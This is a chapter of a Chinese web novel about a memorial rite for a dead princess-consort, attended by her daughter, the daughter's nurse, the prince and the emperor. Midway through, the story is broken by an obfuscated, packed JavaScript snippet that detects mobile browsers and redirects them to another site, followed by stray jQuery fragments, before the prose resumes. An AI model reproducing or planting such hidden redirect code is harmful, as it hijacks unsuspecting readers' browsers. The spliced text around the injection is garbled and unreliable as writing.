颜淞仍旧隔三差五来明亲王府。
起初是两日一来，后来改成三日，再后来陆云逸夜里能睡得安稳些，便四五日来一回。明亲王府的人已经习惯了这位年轻太医出入听雪斋。门房见了他，不再像最初那样层层通报，只低声请他进去；小厮会提前把药炉备好，丫鬟也知道颜太医诊治时不喜屋里人多，到了时辰便悄悄退下。
陆云逸的病，看起来确实一日比一日稳了。
她不再整夜惊醒，也不再把许多事说得支离破碎。颜淞问起旧事，她会答，却答得有分寸。说到某些地方，她便停下，说头疼。颜淞不逼。太医院治身病，有时候尚且急不得；何况这等离魂分魄之症，越是硬挖，越容易把人心里已经结痂的地方重新撕开。
萍儿也渐渐放下些心。
那日玉佩之事后，听雪斋里有些话再也回不到从前。陆云逸没有追问阿木尔，也没有逼她再说燕云。她好像体贴地把那扇门重新掩上，给萍儿留了喘息的时候。
日子过到腊月，顺天又落了一场大雪。
雪下了一整夜，到了清晨才停。王府屋檐上压着厚厚一层白，院中树枝被雪压弯，偶尔有一团雪从枝头落下来，砸在地上，发出闷闷的一声响。
这一日，是朱珍珍的忌日。
萍儿一早就醒了。
其实她几乎一夜没有睡实。
每年到了这一日，她心里总像被什么压住。王府上下都知道这日要祭王妃，洒扫、设馔、焚香、备酒，一件也不能错。可今年不同。陆云逸刚从病中稳下来，前些日子又在病里说了许多旧事。萍儿怕她伤神，原本想一切从简，悄悄祭过便罢。
谁知陆云逸自己先提了。
清晨用粥时，陆云逸看着窗外的雪，忽然说：“今日是母亲忌日吧。”
萍儿手里的匙子停了一下。
她抬头看陆云逸。
陆云逸脸色仍比从前苍白些，却很清醒。她不像病中那样眼神发空，也没有躲避。她只是平静地看着萍儿，像早已把这日记在心里。
自她记事起，每年这个时候，王府都会有这样一日。只是从前她年幼，不明白一个人的死能在活人心里留下多长的影子。后来长大些，便知道这一天不能嬉笑，不能胡闹，也不能问太多让父亲和萍儿为难的话。
今年不同。
她病了一场，想起了许多事，也听见了许多从前没有听过的旧事。正因如此，她更不能假装这一天不存在。
萍儿低声道：“你身子还没全好。今年不用你操心。”
陆云逸道：“不大办，只按家里的规矩祭一祭。我去上一炷香。”
萍儿没有立刻答应。
陆云逸又说：“不能因为我病了，便连她也不提。”
这句话落下，屋里静了片刻。
萍儿低下头，把粥碗往她面前推了推。
“先把粥吃了。”她说，“吃完再去。”
朱珍珍的牌位供在王府小祠旁一间偏静的屋里。
那屋子不是正祠，却比许多正堂还干净。每年忌日前一日，萍儿都亲自带人洒扫，擦供案，换香灰，洗杯盏。窗边那株老梅是朱珍珍生前种的。她生前嫌京中花木太讲究，说梅花被文人写得酸气重，不如野花野草活得痛快。可她自己偏又种了一株梅。
今年雪停后，那株梅上还有几朵迟开的花，红得不艳，却很实在。雪压着枝，花还在。
供案上已经摆好了祭馔。
王府是宗室之家，祭礼不能太粗疏。饭、羹、脯、果、酒，都按规矩摆了。白米饭一盏，肉羹一碗，酱肉一碟，炙羊肉一盘，另有蜜糕、桂花糖蒸栗粉糕、酥酪和几样干果。
朱珍珍生前爱吃肉，也爱吃甜。
这一点和她的性子很不相称。
她在江湖里行走，做事利落，骂人痛快，见不得旁人欺软怕硬。这样一个女子，偏偏吃饭时喜欢瘦一点的肉，喜欢甜糕，喜欢酥酪里多加蜜。萍儿从前笑她，说她的舌头不像侠女，倒像小孩子。
朱珍珍便理直气壮地说：“谁规定侠女只能啃冷饼喝烈酒？我辛辛苦苦行侠仗义，还不许我吃口甜的？”
想到这话，萍儿眼眶热了一下。
她很快低下头，把酒盏摆正。
陆云逸换了素色衣裳过来。
她没有穿丧服。忌日不是新丧，王府也不能年年披麻戴孝。她只穿了一件月白夹袍，腰间束得简单，头上也没有多余玉饰。病后人瘦，站在雪光里，显得比往日更清冷。
陆云逸看着那盘蜜糕，眼里浮出一点很淡的温意。
她没有见过朱珍珍。
可这些年，她一路游历，竟在许多地方见过母亲留下的痕迹。
在甘州，老妇人把她认成朱珍珍，哭着说当年若没有珍珍姐，自己早被人卖了。有人记得朱珍珍救过人，有人记得她替人出过头，也有人只模糊记得当年有个骑马佩刀的女子，嗓门亮，笑起来明快，吃饭时总嫌肉太老、糕太少。
那些痕迹没有刻在碑上，也没有写进官府文书里，只散在许多人的记忆中。那些痕迹都不大。可它们散在许多人的记忆里，像落在路边的火星。风一吹，不一定能烧成大火，却叫后来走到那里的人知道，她曾经来过。
正是这些零碎的记忆，让朱珍珍不只是王府里一块冷冷的牌位。
她曾在这世上热热闹闹地活过。
陆云逸想着这些，忽然觉得供案上的那盘蜜糕变得很苦。
萍儿让人端来水盆。
祭前要盥手。
陆云逸净了手，萍儿也净了手。丫鬟递上干净帕子，两人擦干手后，便在供案前站定。
陆云逸正要上前，外头忽然传来脚步声。
门外管事的声音压得很低，透着掩不住的紧张。
“世子殿下，萍儿姑娘，王爷和陛下到了。”
萍儿抬起头。
对于王爷的到来她并不意外。
朱珍珍忌日，陆棣铭每年都会回府。只是他一向来得安静，上香，奠酒，站一会儿，便走。有时父女二人在灵前遇见，也不过说几句平常话。
可皇帝为何也来？谁也没有提前得信。
她们来不及多问，门外已经响起内侍低低的声音。没有高声通传，也没有大队仪仗。陆棣铭与陆棣昤是一同进来的。
两人都穿着素色常服。
陆棣铭一身青灰，腰间只系一枚旧玉。陆棣昤则披着玄色大氅，里面也是素衣，身后只跟了两个近侍。若不看那份从骨子里压出来的气势，他今日倒不像皇帝，更像一个多年旧识，在旧人忌日来上一炷香。
可他终究是皇帝。
他一进门，屋里的空气便不一样了。
陆云逸、萍儿以及屋内伺候的人都要行礼。
陆棣昤抬手，道：“今日不必多礼。”
话虽如此，众人仍低身行过礼才起。
陆棣铭先看了陆云逸一眼。
“身子如何？”
陆云逸道：“已好多了。”
陆棣铭又看向萍儿。
萍儿低声道：“近来夜里安稳些，药也减了。”
陆棣铭点了点头。
他没有多问。
陆棣昤的目光也落在陆云逸脸上。
“瘦了。”皇帝说。
陆云逸垂眼：“病后未复，劳陛下挂心。”
陆棣昤没有再说。
他转头看向供案。
桌上饭羹酒馔都已经备好，香还未点，那盘炙羊肉和几样甜糕摆在供案右侧。
陆棣昤的目光停了一瞬。
“她还是这些口味。”
陆棣铭没有接话。
陆云逸也听见了。
她没有抬头，只看着香炉里新换的香灰。
陆棣铭走到案前，净手。
他是朱珍珍的夫君，今日家祭，理当由他先行。近侍和王府下人都退到一旁，屋里只剩雪后清冷的光和供案上几盏灯火。
陆棣铭取香，点燃。
香烟升起来，淡淡的，直往上走。陆棣铭把香插进炉中，又斟了一盏酒，双手奉到案前，缓缓洒下半盏，再将余下半盏放回供前。
他没有说长话，只低声道：“我回来了。”
陆云逸站在旁边，心口忽然有些闷。
她从小见惯了父亲的冷淡。可这些年她慢慢懂了，有些人的冷淡不是没有情，是情太深，又不敢让它露出来。陆棣铭站在牌位前，背影仍旧清瘦，仍旧沉默，可那沉默里像有一条暗河。
河水流了很多年，没人看见。
陆棣铭退开后，陆云逸上前。
她也点了一炷香。
萍儿原本想扶她跪，陆云逸轻轻摇头。
她跪了下去。
地上铺了垫子，却仍有寒意透上来。她的膝盖还有些虚，刚跪稳时身子轻轻晃了一下。萍儿的手抬了抬，最终没有扶。
陆云逸叩了三个头。
她没有在心里说太多话。
她只是想：母亲，我如今还是陆云逸，这身份是你用命换的，这条路，到现在还没有走完。
她起身时，萍儿扶了她一把。陆云逸没有逞强，借着萍儿的手站稳。
然后，萍儿也上前。
她不是朱珍珍的亲眷。
按王府规矩，她原本不该排在前头。可这些年朱珍珍忌日，她从来都会上一炷香。王府上下也没人说什么。陆棣铭从未拦过，朱珍珍若泉下有知，大约更不会拦。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553271|203305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
萍儿净过手，点香。
她站在朱珍珍牌位前，手指微微发紧。
这么多年了，她仍觉得自己有许多话没有同朱珍珍说完。
她想说，王妃，我把她养大了。
也想说，我其实没有你想的那样会活。
还想说，她如今病了，想起很多事，也问起很多事。我有时护得住她，有时又觉得自己只是把她送到另一条更难的路上。
可这些话都不能在众人面前说。
萍儿只把香插好，退后一步，深深拜下去。
陆云逸看着她的背影，忽然明白，自己母亲留给这世上的，不只是一个女儿。
还有萍儿这一生后半段的去处。
萍儿起身后，屋里静了一会儿。
众人的目光都下意识看向陆棣昤。
按礼，皇帝不必祭一个臣妇。
即便这是明亲王妃，即便她当年与陆家兄弟旧识，皇帝亲临已是极重，若再按家礼叩拜，便不合君臣尊卑。
陆棣昤自己却像早想好了。
他走到案前，净手，取香。
内侍想上前替他点火，被他抬手止住。
他亲自点了香。
香火亮起的一瞬，照得他的眉眼与陆棣铭更相像。双生兄弟站在同一间屋子里，一个是夫，一个是君；一个失去了妻子，一个也像失去了什么。那相似让屋中许多旧事变得更难分辨。
陆棣昤没有跪。
他把香插进炉中，又亲自斟了一盏酒，放在供案前。
“王妃一生磊落。”他说，“今日朕来，不过添一炷香。”
陆棣铭的脸色沉了沉，却没有开口。
陆棣昤看着牌位：“你从前总说，京城规矩多，人活得累。如今你倒清静了，把累人的事都留给活人。”
陆云逸垂着眼，想着不明白的问题。但死人不会答，活人不肯说。
陆棣昤上完香后，退了一步。
他转头看陆云逸：“今日祭过边回去歇着。病中不宜久立，也不宜伤神”
陆云逸道：“臣记下了。”
陆棣昤看了她片刻，道：“你母亲若在，见你病成这样，大约要骂你不会照顾自己。”
陆云逸道：“母亲也许会先骂旁人没有照顾好我。”
这话有些越了。
陆棣铭看了陆云逸一眼。
陆棣昤却笑了一下。
“像她会说的话。”
陆云逸没有再接。
陆棣昤又道：“不过她若真在，也未必舍得骂你。”
陆云逸抬头，看了皇帝一眼，皇帝神色如常。
陆棣铭忽然道：“外头雪后路滑，陛下不宜久留。”
陆棣昤看向他。
兄弟二人目光相对。
许多年过去，他们仍然像一面镜子的两边。脸相似，血相似，身份缠在一处。可一个坐在天下最高的位置，一个只能在王府里守着亡妻的牌位。谁也不比谁轻松，只是谁都不肯先低头。
过了片刻，陆棣昤道：“走吧。”
内侍和下人也跟着退了。
屋里重新安静下来。
供案前的香已经有四炷。
陆棣铭的，陆云逸的，萍儿的，皇帝的。
香烟往上升，在屋梁下缠在一处，很快分不清哪一缕是谁点的。可人活着的时候，却总要分出许多身份来：君臣，兄弟，夫妻，父女，主仆，旧识。每一层身份都像一重帘子，隔得久了，连真心也看不清。
陆云逸站在那里，看了很久。
萍儿走到她身边，低声道：“云逸，回去歇一会儿吧。”
陆云逸没有立刻动。
她看着牌位，又看了看供案上的肉和甜糕。
“干妈，”她轻声问，“母亲从前和陛下，也很熟吗？”
这个问题，她答不了。
她只能说：“他们年轻时或许都认识。”
陆云逸点了点头。
这不是答案。
可她也没有再问。
王府里的旧事，像雪下的路。表面上白白净净，踩上去才知道底下有泥，有石，也有前人早已留下的车辙。
朱珍珍已经死了。
可她留下的人，还都活在她的影子里。
陆棣铭活在里面。
萍儿活在里面。
也许皇帝也曾在边上站过片刻。
而陆云逸，是从那影子里生出来的人。
她抬眼看向窗外。
雪停了。
天地很白。
可她知道，白雪下面从来不是干净的空地。它只是暂时盖住了旧痕。等日头一出，雪水一化，许多藏在下面的东西，迟早还会露出来。